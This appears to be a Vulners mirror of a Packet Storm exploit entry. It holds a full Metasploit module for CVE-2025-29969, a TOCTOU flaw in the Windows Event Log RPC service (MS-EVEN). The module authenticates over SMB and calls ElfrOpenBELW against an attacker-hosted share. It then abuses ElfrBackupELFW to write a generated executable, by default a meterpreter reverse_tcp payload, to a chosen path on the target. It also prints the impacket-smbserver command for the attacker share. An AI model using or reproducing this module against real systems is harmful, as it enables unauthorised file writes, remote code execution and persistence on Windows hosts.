Lucene search
K

📄 MS‑EVEN TOCTOU ElfrBackupELFW Arbitrary File Write

🗓️ 25 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 121 Views

TOCTOU in Microsoft Event Log allows authenticated user to force ElfrBackupELFW to write arbitrary files via SMB.

Related
Code
=============================================================================================================================================
    | # Title     : MS‑EVEN TOCTOU Remote Arbitrary File Write via ElfrBackupELFW Vulnerability                                                 |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : No standalone download available                                                                                            |
    =============================================================================================================================================
    
    [+] Summary    :  A Time-of-Check Time-of-Use (TOCTOU) vulnerability exists in the Microsoft Event Log Remote Protocol (MS‑EVEN).
                      By abusing the ElfrBackupELFW RPC function, an authenticated low-privileged user can coerce the Windows Event Log service into writing arbitrary files to a chosen location on the target system.
                      The issue stems from improper validation and usage timing between path verification and file creation operations. 
    				  By leveraging a crafted remote SMB path and a controlled file sequence, an attacker can cause the service to write attacker‑controlled content to a local file path.
    
    [+] Successful exploitation may result in:
    
    Arbitrary file write on the remote Windows system
    
    Potential privilege escalation (depending on target path)
    
    Persistence or execution of attacker‑controlled binaries
    
    [+] The vulnerability affects systems where the MS‑EVEN service is accessible over SMB named pipes and where valid authentication credentials are available.
    
    [+] POC   : 
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::SMB::Client
      include Msf::Exploit::Remote::DCERPC
      include Msf::Exploit::EXE
      include Msf::Exploit::FileDropper
    
      MS_EVEN_UUID = '82273fdc-e32a-18c3-3f78-827929dc23ea'
      
      VERSIONS_TO_TRY = [
        [1, 0],
        [0, 0]
      ]
    
      ELFR_OPEN_BEL_W = 0
      ELFR_BACKUP_ELFW = 1
      STATUS_SEVERITY_SUCCESS = 0x0
      STATUS_SEVERITY_INFORMATIONAL = 0x1
      STATUS_SEVERITY_WARNING = 0x2
      STATUS_SEVERITY_ERROR = 0x3
      STATUS_SUCCESS = 0x00000000
      STATUS_BUFFER_OVERFLOW = 0x80000005
      STATUS_NO_MORE_ENTRIES = 0x8000001A
      STATUS_INVALID_HANDLE = 0xC0000008
      STATUS_INVALID_PARAMETER = 0xC000000D
      STATUS_ACCESS_DENIED = 0xC0000022
      STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
      STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
      STATUS_BAD_NETWORK_PATH = 0xC00000BE
    
      NDR = Rex::Encoder::NDR
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'MS-EVEN TOCTOU Vulnerability (CVE-2025-29969) Remote File Write',
            'Description' => %q{
              This module exploits a Time-of-Check Time-of-Use (TOCTOU) vulnerability in the
              MS-EVEN protocol (Windows Event Log service). A low-privileged authenticated user
              can write arbitrary files to a remote Windows machine by abusing the
              ElfrBackupELFW RPC function.
    
              This module strictly follows the MS-EVEN protocol specification and uses proper
              NDR pointer graph representation as defined in the official IDL.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'indoushka'
            ],
            'References' => [
              ['CVE', '2025-29969'],
              ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-even/'],
              ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-29969']
            ],
            'DisclosureDate' => '2025-05-13',
            'Platform' => ['win'],
            'Targets' => [
              [
                'Windows Automatic', {
                  'Arch' => [ARCH_X86, ARCH_X64],
                  'DefaultOptions' => {
                    'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
                  }
                }
              ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DefaultOptions' => {
              'WfsDelay' => 30,
              'DCERPC::fake_bind_multi' => true,
              'SMB::ProtocolVersion' => 3
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [
                IOC_IN_LOGS,
                ARTIFACTS_ON_DISK,
                SCREEN_EFFECTS
              ]
            }
          )
        )
    
        register_options([
          Opt::RHOST,
          Opt::RPORT(445),
          OptString.new('SMBHOST', [true, 'The IP of the attacker SMB server', nil]),
          OptString.new('SMBUSER', [true, 'The username to authenticate as', nil]),
          OptString.new('SMBPASS', [true, 'The password for the specified username', nil]),
          OptString.new('SMBDOMAIN', [false, 'The Windows domain to authenticate to', '.']),
          OptString.new('VALID_EVTX', [true, 'Local path to a valid EVTX file', nil]),
          OptString.new('REMOTE_PATH', [true, 'Remote path to write the payload', 'C:\\Users\\Public\\payload.exe']),
          OptString.new('SHARE_NAME', [true, 'Name of the SMB share', 'Share']),
          OptString.new('NAMED_PIPE', [true, 'Named pipe for EventLog service', 'eventlog'])
        ])
    
        register_advanced_options([
          OptBool.new('SMB3_SUPPORT', [true, 'Enable SMB3 support', true]),
          OptInt.new('BIND_RETRIES', [true, 'Number of bind retries', 3]),
          OptBool.new('VERIFY_WITH_SMB', [true, 'Verify file write using SMB', true]),
          OptString.new('VERIFY_SHARE', [true, 'SMB share for verification', 'C$']),
          OptInt.new('SMB_SHARE_WAIT', [true, 'Seconds to wait for SMB share', 30]),
          OptBool.new('STRICT_NTSTATUS', [true, 'Strict NTSTATUS parsing', true])
        ])
      end
    
      # ==================== NDR Helpers  ====================
    
      # NDR pointer graph representation:
      # typedef struct _RPC_UNICODE_STRING {
      #   unsigned short Length;
      #   unsigned short MaximumLength;
      #   [size_is(MaximumLength/2), length_is(Length/2)] WCHAR* Buffer;
      # } RPC_UNICODE_STRING;
      #
      # In NDR, the representation is:
      # - pointer to struct (referent_id1)
      # - struct containing:
      #   - Length
      #   - MaximumLength
      #   - pointer to buffer (referent_id2)
      # - buffer data (conformant array)
      def pack_rpc_unicode_string(str)
        utf16_str = "#{str}\x00".encode('UTF-16LE')
        
        length = utf16_str.bytesize - 2
        max_length = utf16_str.bytesize
    
        length = (length + 1) & ~1 if length.odd?
        max_length = (max_length + 1) & ~1 if max_length.odd?
        @struct_pointer_id ||= 0x20000
        @buffer_pointer_id ||= 0x30000
        
        struct_pointer = @struct_pointer_id
        buffer_pointer = @buffer_pointer_id
        @struct_pointer_id += 0x1000
        @buffer_pointer_id += 0x1000
        outer_pointer = NDR.long(struct_pointer)
        structure = NDR.short(length) + 
                    NDR.short(max_length) + 
                    NDR.long(buffer_pointer)  # pointer to buffer
    
        buffer_data = NDR.UnicodeConformantVaryingStringPreBuilt(utf16_str)
    
        outer_pointer + structure + buffer_data
      end
    
      def parse_context_handle(data)
        return nil if data.nil? || data.length != 20
    
        context_handle = {
          raw: data,
          attributes: data[0, 4].unpack('V')[0],
          uuid_data: data[4, 16]
        }
    
        return nil if context_handle[:uuid_data].bytes.all?(&:zero?)
        
        context_handle
      end
    
      def ntstatus_severity(status)
        (status >> 30) & 0x3
      end
    
      def ntstatus_is_success?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_SUCCESS
      end
    
      def ntstatus_is_informational?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_INFORMATIONAL
      end
    
      def ntstatus_is_warning?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_WARNING
      end
    
      def ntstatus_is_error?(status)
        return false if status.nil?
        severity = ntstatus_severity(status)
        severity == STATUS_SEVERITY_ERROR
      end
    
      def ntstatus_to_s(status)
        case status
        when STATUS_SUCCESS
          "STATUS_SUCCESS"
        when STATUS_BUFFER_OVERFLOW
          "STATUS_BUFFER_OVERFLOW"
        when STATUS_NO_MORE_ENTRIES
          "STATUS_NO_MORE_ENTRIES"
        when STATUS_INVALID_HANDLE
          "STATUS_INVALID_HANDLE"
        when STATUS_INVALID_PARAMETER
          "STATUS_INVALID_PARAMETER"
        when STATUS_ACCESS_DENIED
          "STATUS_ACCESS_DENIED"
        when STATUS_OBJECT_NAME_NOT_FOUND
          "STATUS_OBJECT_NAME_NOT_FOUND"
        when STATUS_OBJECT_PATH_NOT_FOUND
          "STATUS_OBJECT_PATH_NOT_FOUND"
        when STATUS_BAD_NETWORK_PATH
          "STATUS_BAD_NETWORK_PATH"
        else
          "0x#{status.to_s(16)}"
        end
      end
    
      def parse_open_response(stub_data)
        result = { status: nil, handle: nil, error: nil }
        
        return result if stub_data.nil? || stub_data.empty?
        if stub_data.length < 24
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        handle_data = stub_data[4, 20]
        result[:handle] = parse_context_handle(handle_data)
        if stub_data.length > 24
          vprint_warning("Open response has #{stub_data.length - 24} extra bytes")
        end
        
        result
      end
    
      def parse_backup_response(stub_data)
        result = { status: nil, error: nil }
    
        if stub_data.nil? || stub_data.empty?
          result[:error] = "Empty response"
          return result
        end
    
        if stub_data.length < 4
          result[:error] = "Response too short: #{stub_data.length} bytes"
          return result
        end
    
        result[:status] = stub_data[0, 4].unpack('V')[0]
        if stub_data.length > 4
          vprint_warning("Backup response has #{stub_data.length - 4} extra bytes")
        end
        
        result
      end
    
      def prepare_files(valid_evtx_path, payload_data)
        base_name = File.basename(valid_evtx_path, '.evtx')
        timestamp = Time.now.to_i
    
        work_dir = File.join(File.dirname(valid_evtx_path), "exploit_#{timestamp}")
        Dir.mkdir(work_dir) unless Dir.exist?(work_dir)
        evtx_file = File.join(work_dir, "#{base_name}.evtx")
        FileUtils.cp(valid_evtx_path, evtx_file)
        payload_file = File.join(work_dir, 'payload.exe')
        File.binwrite(payload_file, payload_data)
        malicious_evtx = File.join(work_dir, "#{base_name}.malicious.evtx")
        
        File.open(malicious_evtx, 'wb') do |f|
          f.write(payload_data)
          f.write("\x00")
          f.write(File.binread(evtx_file))
        end
        
        {
          work_dir: work_dir,
          evtx: evtx_file,
          payload: payload_file,
          malicious_evtx: malicious_evtx
        }
      end
    
      def verify_file_with_smb(remote_path, timeout = 10)
        return true unless datastore['VERIFY_WITH_SMB']
        
        begin
    
          unless remote_path =~ /^([A-Z]):\\(.*)/
            print_warning("Cannot parse remote path: #{remote_path}")
            return false
          end
          
          drive = $1
          rel_path = $2.gsub('\\', '/')
          share_name = "#{drive}#{datastore['VERIFY_SHARE'][1..-1] || '$'}"
          
          vprint_status("Verifying: \\\\#{datastore['RHOST']}\\#{share_name}\\#{rel_path}")
    
          smb = Rex::Proto::SMB::SimpleClient.new(
            datastore['RHOST'],
            datastore['RPORT'] == 445 ? true : false
          )
          
          begin
            smb.login(
              datastore['SMBDOMAIN'] || '',
              datastore['SMBUSER'],
              datastore['SMBPASS']
            )
    
            tree = smb.tree_connect("\\\\#{datastore['RHOST']}\\#{share_name}")
    
            begin
              Timeout.timeout(timeout) do
                fid = tree.open(rel_path, 0x10000)  # GENERIC_READ
                if fid
                  tree.close(fid)
                  print_good("File verified: #{remote_path}")
                  return true
                end
              end
            rescue Timeout::Error
              vprint_error("Timeout opening file")
            rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
              if e.to_s.include?("STATUS_OBJECT_NAME_NOT_FOUND")
                vprint_status("File not found")
              else
                vprint_error("SMB error: #{e}")
              end
            end
            
            tree.disconnect
          ensure
            smb.disconnect
          end
          
        rescue => e
          vprint_error("Verification error: #{e}")
        end
        
        false
      end
    
      def check
        begin
          smb_versions = []
          smb_versions << 3 if datastore['SMB3_SUPPORT']
          smb_versions << 2 << 1
          
          connect(versions: smb_versions.compact)
          smb_login
          disconnect
    
          VERSIONS_TO_TRY.each do |major, minor|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              dcerpc_disconnect
              return CheckCode::Appears("Successfully bound with version #{major}.#{minor}")
            rescue => e
              next
            end
          end
    
          return CheckCode::Detected('Valid credentials but RPC bind failed')
          
        rescue Rex::Proto::SMB::Exceptions::LoginError
          return CheckCode::Detected('Authentication failed')
        rescue => e
          return CheckCode::Safe("Connection failed: #{e}")
        ensure
          dcerpc_disconnect rescue nil
          disconnect rescue nil
        end
      end
    
      def exploit
        validate_options!
    
        print_status('Generating payload executable')
        payload_exe = generate_payload_exe
    
        print_status('Preparing exploit files')
        files = prepare_files(datastore['VALID_EVTX'], payload_exe)
    
        print_status("Files prepared in: #{files[:work_dir]}")
        print_status("  Original EVTX: #{File.basename(files[:evtx])}")
        print_status("  Payload: #{File.basename(files[:payload])}")
        print_status("  Malicious EVTX: #{File.basename(files[:malicious_evtx])}")
        print_status("SMB share required on #{datastore['SMBHOST']}:")
        print_status("  Share name: #{datastore['SHARE_NAME']}")
        print_status("  Directory: #{files[:work_dir]}")
        print_status("  File to use: #{File.basename(files[:malicious_evtx])}")
        print_status("")
        print_status("Command to run:")
        print_status("  impacket-smbserver -smb2support #{datastore['SHARE_NAME']} #{files[:work_dir]}")
        print_status("")
    
        wait_time = datastore['SMB_SHARE_WAIT']
        if wait_time > 0
          print_status("Waiting #{wait_time} seconds for SMB share...")
          wait_time.times do |i|
            if i % 10 == 0
              print_status("  #{wait_time - i} seconds remaining...")
            end
            sleep(1)
          end
        end
    
        max_attempts = 3
        max_attempts.times do |attempt|
          print_status("Exploit attempt #{attempt + 1}/#{max_attempts}")
    
          @struct_pointer_id = 0x20000 + (attempt * 0x10000)
          @buffer_pointer_id = 0x30000 + (attempt * 0x10000)
          
          begin
            result = perform_exploit(files[:malicious_evtx])
            
            case result[:status]
            when :success
              print_good("Exploit succeeded on attempt #{attempt + 1}: #{result[:message]}")
    
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File write verified")
              end
    
              register_file_for_cleanup(datastore['REMOTE_PATH'])
              
              return
              
            when :partial
              print_warning("Partial success: #{result[:message]}")
              print_warning("Check manually: #{datastore['REMOTE_PATH']}")
              
              if verify_file_with_smb(datastore['REMOTE_PATH'])
                print_good("File verified despite warning!")
                return
              end
              
            else
              print_error("Attempt #{attempt + 1} failed: #{result[:message]}")
            end
            
          rescue => e
            print_error("Attempt #{attempt + 1} error: #{e}")
            vprint_error("Backtrace: #{e.backtrace.first(3).join("\n")}")
          ensure
            dcerpc_disconnect rescue nil
            disconnect rescue nil
            sleep(3) if attempt < max_attempts - 1
          end
        end
    
        fail_with(Failure::Unknown, "All #{max_attempts} exploit attempts failed")
      end
    
      def validate_options!
        required = ['RHOST', 'SMBHOST', 'SMBUSER', 'SMBPASS', 'VALID_EVTX', 'REMOTE_PATH']
        required.each do |opt|
          if datastore[opt].nil? || datastore[opt].empty?
            fail_with(Failure::BadConfig, "#{opt} must be set")
          end
        end
    
        unless File.exist?(datastore['VALID_EVTX'])
          fail_with(Failure::BadConfig, "EVTX file not found: #{datastore['VALID_EVTX']}")
        end
      end
    
      def perform_exploit(malicious_evtx_path)
        result = { status: :failed, message: nil }
        
        evtx_filename = File.basename(malicious_evtx_path)
        share_path = "\\\\#{datastore['SMBHOST']}\\#{datastore['SHARE_NAME']}\\#{evtx_filename}"
        remote_path = datastore['REMOTE_PATH']
    
        print_status("SMB share path: #{share_path}")
        print_status("Target remote path: #{remote_path}")
    
        smb_versions = []
        smb_versions << 3 if datastore['SMB3_SUPPORT']
        smb_versions << 2 << 1
        
        begin
          connect(versions: smb_versions.compact)
          smb_login
        rescue => e
          result[:message] = "SMB connection failed: #{e}"
          return result
        end
    
        bound = false
        
        VERSIONS_TO_TRY.each do |major, minor|
          datastore['BIND_RETRIES'].times do |attempt|
            begin
              handle = dcerpc_handle(MS_EVEN_UUID, major, minor, 'ncacn_np', 
                                     ["\\pipe\\#{datastore['NAMED_PIPE']}"])
              dcerpc_bind(handle)
              bound = true
              vprint_good("Bound with version #{major}.#{minor}")
              break
            rescue => e
              vprint_status("Bind attempt #{attempt + 1} failed: #{e}")
              sleep(1)
            end
          end
          break if bound
        end
    
        unless bound
          result[:message] = 'Failed to bind to MS-EVEN interface'
          return result
        end
    
        print_status("Calling ElfrOpenBELW...")
        
        unicode_share = pack_rpc_unicode_string(share_path)
        
        open_stub = unicode_share + 
                    NDR.long(0x00000001) +  # ELOG_READ
                    NDR.long(0xC0000000)     # GENERIC_READ | GENERIC_WRITE
        
        begin
          open_response_raw = dcerpc_call(ELFR_OPEN_BEL_W, open_stub)
          open_result = parse_open_response(open_response_raw)
        rescue => e
          result[:message] = "ElfrOpenBELW failed: #{e}"
          return result
        end
        if open_result[:error]
          result[:message] = "ElfrOpenBELW parse error: #{open_result[:error]}"
          return result
        end
        
        if open_result[:status].nil?
          result[:message] = "ElfrOpenBELW returned no status"
          return result
        end
        
        unless ntstatus_is_success?(open_result[:status])
          result[:message] = "ElfrOpenBELW failed: #{ntstatus_to_s(open_result[:status])}"
          return result
        end
        
        if open_result[:handle].nil?
          result[:message] = "ElfrOpenBELW returned no handle"
          return result
        end
        
        print_good("ElfrOpenBELW succeeded")
        print_status("Calling ElfrBackupELFW...")
        
        unicode_remote = pack_rpc_unicode_string(remote_path)
        backup_stub = open_result[:handle][:raw] + unicode_remote
        
        begin
          backup_response_raw = dcerpc_call(ELFR_BACKUP_ELFW, backup_stub)
          backup_result = parse_backup_response(backup_response_raw)
          
        rescue Rex::Proto::DCERPC::Exceptions::Fault => e
    
          if e.fault == 0x6d6f6c63  # "clom" signature
            result[:status] = :partial
            result[:message] = "RPC fault 0x6d6f6c63 - possible TOCTOU success"
          else
            result[:message] = "ElfrBackupELFW RPC fault: 0x#{e.fault.to_s(16)}"
          end
          return result
          
        rescue => e
          result[:message] = "ElfrBackupELFW failed: #{e}"
          return result
        end
    
        if backup_result[:error]
    
          if datastore['STRICT_NTSTATUS']
            result[:message] = "ElfrBackupELFW parse error: #{backup_result[:error]}"
            return result
          else
            result[:status] = :partial
            result[:message] = "ElfrBackupELFW completed with parse error - possible success"
            return result
          end
        end
        
        if backup_result[:status].nil?
    
          result[:status] = :partial
          result[:message] = "ElfrBackupELFW returned no status"
          return result
        end
    
        if ntstatus_is_success?(backup_result[:status])
          result[:status] = :success
          result[:message] = ntstatus_to_s(backup_result[:status])
          
        elsif ntstatus_is_informational?(backup_result[:status])
          result[:status] = :success
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (informational)"
          
        elsif ntstatus_is_warning?(backup_result[:status])
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} (warning)"
          
        elsif backup_result[:status] == STATUS_INVALID_HANDLE
          result[:status] = :partial
          result[:message] = "#{ntstatus_to_s(backup_result[:status])} - possible TOCTOU success"
          
        else
          result[:message] = "ElfrBackupELFW failed: #{ntstatus_to_s(backup_result[:status])}"
        end
        
        result
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation